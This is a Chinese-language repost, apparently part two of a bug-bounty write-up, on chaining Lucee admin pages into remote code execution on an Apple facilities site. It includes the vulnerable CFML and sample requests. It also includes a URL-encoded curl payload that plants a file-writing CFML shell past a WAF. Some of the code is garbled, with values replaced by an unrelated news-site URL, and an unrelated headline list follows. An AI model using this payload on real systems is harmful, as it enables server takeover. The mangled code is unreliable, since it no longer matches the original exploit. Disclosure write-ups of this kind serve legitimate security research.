挖洞经验 | 发现Lucee 0day漏洞RCE掉三个苹果公司网站( 二 )
如何真正绕过WAF在另一个文件admin.search.index.cfm , 其功能是指定一个目录并把其中的文件内容拷贝到给定的其它目录中去 。 但是 , 我们发现其中的拷贝方法非常麻烦 , 它实际上并不会拷贝文件内容 , 也不会保留文件扩展名 。 该功能用到了两个参数:
dataDirluceeArchiveZipPath
dataDir是需要给定的拷贝目的目录位置路径 , 它由调用参数luceeArchiveZipPath来实现 。 如果指定的目录位置路径不存在 , 就会新创建一个 。 这是一个创建绝对路径的方法 , 如下:
<cfifnotdirectoryExists(dataDir)><cfdirectoryaction="create"directory="#dataDir#"mode="777"recurse="true"/></cfif>其文件创建的样例请求如下:
GET/lucee/admin/admin.search.index.cfm?dataDir=/copy/to/path/here/&LUCEEARCHIVEZIPPATH=/copy/from/path/hereHTTP/1.1Host:facilities.apple.comUser-Agent:Mozilla/5.0Connection:close由于该拷贝功能并不是标准的copy方法 , 因此 , 必须得深入研究一下其中的相关代码意图 。 之后 , 我们发现了一个有意思的ColdFusion标记语言(CFML)标签:
该条标记语言的大概意思是 , 它会列出luceeArchiveZipPath目录下的文件 , 其中的filter属性会过滤出..cfm文件 , 并把最终结果存储在变量”qFiles”中 。 接着 , 它会迭代变量currFile中的所有文件 , 并把其中带’.cfm’后缀的文件去除cfm后缀 , 然后把去除后缀的文件名存储在currAction变量中 。 比如 , test.xyz.cfm会变成为test.xyz 。
然后 , 代码流程会检查在dataDir目录中诸如‘test.xyz.en.txt’或‘test.xyz.de.txt’名称的文件 , 这里 , dataDir变量是用户控制的 。 如果dataDir目录下确实存在如‘test.xyz.en.txt’或‘test.xyz.de.txt’名称的文件 , 则它就会把其中的(‘.’)替换为空白符 , 并把名称结果存储到pageContents.lng.currAction变量中 。 代码逻辑如下:
<cfiffileExists('#dataDir##currAction#.#lng#.txt')><cfsetpageContents[lng][currAction]=fileRead('#dataDir##currAction#.#lng#.txt','utf-8')/><cfelse><!---makesurewewillalsofindthispagewhensearchingforthefilename---><cfsetpageContents[lng][currAction]="#replace(currAction,'.','')#"/></cfif>之后 , 如test.xyz..txt文件中的内容即是变量pageContents.lng.currAction的值 。 然而 , 即使我们可以在服务器中任意位置创建任意内容(如.txt)的文件 , 但是 , 之后的测试证明 , 我们可以在其文件名上做点手脚 , 形成漏洞利用 。 之后 , 代码流程会存储data变量中的currFile文件内容 , 过滤出不符合正则表达式[‘’”##]stText..+?[‘’”##]的文件 , 并把结果存入finds数组中 。 <cfsetdata=https://pcff.toutiao.jxnews.com.cn/p/20210218/fileread(currFile)/>
facilities.apple.com网站中的远程代码执行漏洞(RCE)至此 , 我们综合利用imgProcess.cfm和admin.search.index.cfm文件 , 在苹果网站https://facilities.apple.com是构造形成了一个RCE漏洞 。 另外 , 我们可以控制一个拷贝源目录(dataDir参数)和一个拷贝目的目录(luceeArchiveZipPath参数) 。 现在 , 如果我们在服务器任意位置创建一个名为server..cfm的文件 , 其内容为”#stText.x.f#” 。
那么 , 我们也就可以通过luceeArchiveZipPath参数把其文件路径传递到admin.search.index.cfm文件中 。 但由于文件server..cfm的结构化文件名键值key是不存在的 , 代码就会自动创建一个并把key写入到名为searchindex.cfm的文件中 。 那也就是说 , 之后 , 我们就可以在dataDir参数帮助下 , 通过在服务器任意位置目录下 , 实现对searchindex.cfmfile文件中的CFML标签(类似PHP标签)的控制 , 那也即 , 我们就可能通过控制网站服务器的根目录webroot来执行任意代码了!
我们先用imgProcess.cfm在目标网站文件系统中创建一个名为server..cfm的文件 , 其内容符合正则表达式[‘’”##]stText..+?[‘’”##] 。 该操作由于不是执行路径遍历 , 因此不会触发WAF拦截规则 。
获得网站代码执行Shell1、创建文件名为server..cfm且内容匹配正则表达式”#stText.x.f#”的文件 , 由于网站后端tomcat会拦截某些字符 , 因此把其文件名进行URL编码 , 最终成型的POST请求如下:curl-XPOST‘https://facilities.apple.com/lucee/admin/imgProcess.cfm?file=%2F%73%65%72%76%65%72%2e%3c%63%66%66%69%6c%65%20%61%63%74%69%6f%6e%3d%77%72%69%74%65%20%66%69%6c%65%3d%23%55%72%6c%5b%27%66%27%5d%23%20%6f%75%74%70%75%74%3d%23%55%72%6c%5b%27%63%6f%6e%74%65%6e%74%27%5d%23%3e%2e%63%66%6d‘—data‘imgSrc=https://pcff.toutiao.jxnews.com.cn/p/20210218/”#stText.Buttons.save#”‘
- 爱吃黄金的生物被发现,科学家们有一个大胆的想法
- 绝美!男子西藏发现蓝色古冰川,景象令人震撼,网友:请一定要保护好
- 发现这游戏不是我想的那么简单
- 北京584路乘务员巡视发现,老年座下竟有13万元现金……
- 普拉多的霸气改装经验分享!老司机:争做之家最帅的霸道(普拉多)黑武士!
- 现在才发现,原来手机充电器还有这功能呢,卖手机的绝对不告诉你
- 三巨头就职经验,涉猎MPV/皮卡/SUV,全新野马设计师曝光
- 九峰吐鲁番兽是什么动物?中国发现2.5亿年前九峰吐鲁番兽!
- 品质中国 匠心华东——发现华东股份品质创新的密码
- 月球背面首次发现“地外生命”,嫦娥四号立了头功,引科学界热议
